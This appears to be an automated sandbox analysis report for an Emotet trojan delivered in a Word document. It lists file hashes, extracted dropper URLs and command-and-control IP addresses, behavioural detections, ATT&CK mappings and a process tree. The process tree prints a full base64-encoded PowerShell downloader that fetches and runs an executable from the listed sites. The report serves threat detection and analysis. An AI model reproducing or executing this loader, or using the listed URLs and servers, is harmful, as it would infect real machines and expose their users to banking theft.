emotet | ea1d07ae55467195b610358c91f9d4cb4f280d055e9a86158339ca3bdba8ca15

General

Target

SecuriteInfo.com.Exploit.Siggen2.12119.17670.7154.doc
Size

174KB
MD5

1e522cb3efd6b827ac682b262c9e26a3
SHA1

d444e2e6ecf2f973e82c016dbbc6601d1b6c547c
SHA256

ea1d07ae55467195b610358c91f9d4cb4f280d055e9a86158339ca3bdba8ca15
SHA512

2e83b3f5120e4e719f37f24142863ec89c85578aaecf3684d1f7d4cf3bb238ab0fb405536b51d968320287ae8455b849811351b93c532e137e1b1da47437fadc

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.librero.xyz/Scripts/3y_m0cbe_lpgoj7z/

exe.dropper

https://scoenuganda.org/wp-admin/k_fhsvc_wni2zxzrc/

exe.dropper

https://www.dunnriteplumbing.ca/wp-admin/12x_jaaq_o3/

exe.dropper

http://www.najcosmetics.com/img/hvglv_hay_35sacodg/

exe.dropper

http://www.oxahaus.com/wp-admin/d8teb_n0v0h_dm0uyok/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

463.exe

description	pid	process	target process
PID 2236 wrote to memory of 3496	2236	463.exe	mspbde40.exe
PID 2236 wrote to memory of 3496	2236	463.exe	mspbde40.exe
PID 2236 wrote to memory of 3496	2236	463.exe	mspbde40.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

WINWORD.EXE463.exemspbde40.exe

pid	process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
2236	463.exe
3496	mspbde40.exe

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3836 632 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3836 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exemspbde40.exe

pid process

3836 powersheLL.exe
3836 powersheLL.exe
3836 powersheLL.exe
3496 mspbde40.exe
3496 mspbde40.exe
3496 mspbde40.exe
3496 mspbde40.exe
Blacklisted process makes network request 2 IoCs

Processes:

powersheLL.exe

flow pid process

17 3836 powersheLL.exe
19 3836 powersheLL.exe
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3828 WINWORD.EXE
3828 WINWORD.EXE
Executes dropped EXE 2 IoCs

Processes:

463.exemspbde40.exe

pid process

2236 463.exe
3496 mspbde40.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3836	632	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3836	powersheLL.exe

pid	process
3836	powersheLL.exe
3836	powersheLL.exe
3836	powersheLL.exe
3496	mspbde40.exe
3496	mspbde40.exe
3496	mspbde40.exe
3496	mspbde40.exe

flow	pid	process
17	3836	powersheLL.exe
19	3836	powersheLL.exe

pid	process
2236	463.exe
3496	mspbde40.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2236-10-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet
behavioral2/memory/2236-10-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet
behavioral2/memory/3496-13-0x00000000001E0000-0x00000000001EC000-memory.dmp	emotet
behavioral2/memory/3496-13-0x00000000001E0000-0x00000000001EC000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

Processes:

463.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\wevtapi\mspbde40.exe 463.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\wevtapi\mspbde40.exe	463.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12119.17670.7154.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAFcAVQBIAE8AYQBxAHQAPQAnAFoAVwBSAEcAVwBiAHQAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAaQB0AGAAeQBgAFAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBJAFIAUwBCAHEAeQBnACAAPQAgACcANAA2ADMAJwA7ACQARgBKAEkATgBFAGoAaQBkAD0AJwBUAEYARwBEAEIAbAB2AGMAJwA7ACQASgBCAFIAVQBGAGUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEkAUgBTAEIAcQB5AGcAKwAnAC4AZQB4AGUAJwA7ACQAQwBNAFEARABMAG0AcwBzAD0AJwBWAE0AUABaAEMAZQBjAGIAJwA7ACQAWgBaAFYASgBBAHYAagBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUATgBUADsAJABaAE8ATgBGAFQAcgBqAGwAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGkAYgByAGUAcgBvAC4AeAB5AHoALwBTAGMAcgBpAHAAdABzAC8AMwB5AF8AbQAwAGMAYgBlAF8AbABwAGcAbwBqADcAegAvACoAaAB0AHQAcABzADoALwAvAHMAYwBvAGUAbgB1AGcAYQBuAGQAYQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBfAGYAaABzAHYAYwBfAHcAbgBpADIAegB4AHoAcgBjAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHUAbgBuAHIAaQB0AGUAcABsAHUAbQBiAGkAbgBnAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQAyAHgAXwBqAGEAYQBxAF8AbwAzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbgBhAGoAYwBvAHMAbQBlAHQAaQBjAHMALgBjAG8AbQAvAGkAbQBnAC8AaAB2AGcAbAB2AF8AaABhAHkAXwAzADUAcwBhAGMAbwBkAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBvAHgAYQBoAGEAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkADgAdABlAGIAXwBuADAAdgAwAGgAXwBkAG0AMAB1AHkAbwBrAC8AJwAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABKAEkAUABYAEcAeAB2AGEAPQAnAFMAVABQAFYAQQB6AGwAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBIAFgAQwBIAHAAbgB5ACAAaQBuACAAJABaAE8ATgBGAFQAcgBqAGwAKQB7AHQAcgB5AHsAJABaAFoAVgBKAEEAdgBqAG4ALgAiAGQAbwBgAHcATgBMAGAATwBBAEQARgBpAGAAbABlACIAKAAkAE0ASABYAEMASABwAG4AeQAsACAAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARwBCAFgAVgBVAG0AdABtAD0AJwBGAFUARABDAEIAYQBxAG0AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABKAEIAUgBVAEYAZQBzAG8AKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADQAOAA1ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAHQAZQAiACgAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARgBGAFQASQBMAGEAYQB5AD0AJwBaAEwAUQBPAEYAZgB2AHoAJwA7AGIAcgBlAGEAawA7ACQATgBPAEMARABVAGcAcABnAD0AJwBRAFIAUABGAE8AZwBzAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBTAE0AVgBVAG4AdABtAD0AJwBQAEcAWABXAEYAYQBzAHoAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3836

C:\Users\Admin\463.exe
C:\Users\Admin\463.exe
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
PID:2236

C:\Windows\SysWOW64\wevtapi\mspbde40.exe
"C:\Windows\SysWOW64\wevtapi\mspbde40.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:3496

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\463.exe

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C:\Users\Admin\463.exe

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C:\Windows\SysWOW64\wevtapi\mspbde40.exe

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memory/2236-10-0x00000000005A0000-0x00000000005AC000-memory.dmp

Filesize
48KB

Download
memory/3496-11-0x0000000000000000-mapping.dmp

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memory/3496-13-0x00000000001E0000-0x00000000001EC000-memory.dmp

Filesize
48KB

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memory/3828-4-0x000001B10CFBA000-0x000001B10CFBF000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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